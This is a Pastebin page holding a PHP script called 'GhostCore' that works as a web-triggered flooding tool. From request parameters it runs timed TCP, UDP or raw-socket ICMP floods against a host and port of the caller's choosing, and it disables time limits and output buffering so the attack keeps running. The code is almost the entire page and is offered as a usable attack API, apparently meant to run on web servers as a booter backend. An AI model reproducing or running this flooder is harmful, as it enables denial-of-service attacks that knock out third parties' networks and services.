Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- GhostCore::getInst();
- class GhostCore
- {
- private $action = null;
- private $reqargs = null;
- public static function getInst()
- {
- static $inst = null;
- if ($inst === null)
- {
- $inst = new self;
- }
- return $inst;
- }
- private function __construct()
- {
- $this->action = isset($_REQUEST['act'])?$_REQUEST['act']:null;
- if($this->action == null)
- {
- die("API Error #001: You have not entered an action!");
- }
- unset($_REQUEST['act']);
- if(count($_REQUEST) < 3)
- {
- die("API Error #002: You have not entered a correct amount of arguments!");
- }
- foreach($_REQUEST as $key => $val)
- {
- $this->reqargs[] = "$key:$val";
- }
- $this->reqargs = implode('|', $this->reqargs);
- $this->initStartup();
- $this->parseRequest();
- }
- private function initStartup()
- {
- set_time_limit(0);
- @ini_set('output_buffering', 'off');
- @ini_set('zlib.output_buffering', false);
- @ini_set('zlib.output_compression', false);
- @ini_set('implicit_flush', true);
- for($ob = 0; $ob < ob_get_level(); $ob++)
- {
- ob_end_flush();
- }
- ob_implicit_flush(true);
- header('Content-type: text/plain');
- header('Cache-control: no-cache');
- }
- private function parseRequest()
- {
- list($time, $host, $port) = explode("|", $this->reqargs);
- $time = explode(':', $time)[1];
- $host = explode(':', $host)[1];
- $port = explode(':', $port)[1];
- switch(strtolower($this->action))
- {
- default:
- die("API Error #003: You have entered an incorrect action!");
- break;
- case 'tcp':
- // TCP Flood
- $this->cycleFlood($time, $this->action, $host, $port);
- break;
- case 'udp':
- // UDP Flood
- $this->cycleFlood($time, $this->action, $host, $port);
- break;
- case 'icmp':
- // ICMP Flood
- if(!$this->cycleFlood($time, $this->action, $host, 0))
- {
- die("Failed: This function uses SOCK_RAW and requires you to be root!");
- }
- break;
- }
- die('Success');
- }
- private function cycleFlood($time = 60, $proto = 'tcp', $host = null, $port = 80)
- {
- if($proto != 'icmp')
- {
- $etime = time() + intval($time);
- $pckt = str_repeat('P', 8192);
- while(true)
- {
- if(time() >= $etime)
- {
- break;
- }
- $pckt++;
- $fp = @fsockopen("$proto://$host", $port, $errno, $errstr, 1);
- if($fp)
- {
- fwrite($fp, $pckt);
- fclose($fp);
- }
- }
- return true;
- }
- else
- {
- if(strtoupper(substr(PHP_OS, 0, 3)) === 'LIN')
- {
- if(getmyuid() == 0 || getmygid() == 0)
- {
- $etime = time() + intval($time);
- while(true)
- {
- if(time() >= $etime)
- {
- break;
- }
- $package = "\x08\x00\x7d\x4b\x00\x00\x00\x00PingHost";
- $socket = @socket_create(AF_INET, SOCK_RAW, 1);
- @socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => 1, 'usec' => 0));
- @socket_connect($socket, $host, null);
- $ts = microtime(true);
- @socket_send($socket, $package, strlen($package), 0);
- if(@socket_read($socket, 255))
- {
- @socket_close($socket);
- }
- }
- }
- else { return false; }
- }
- else { return false; }
- return true;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment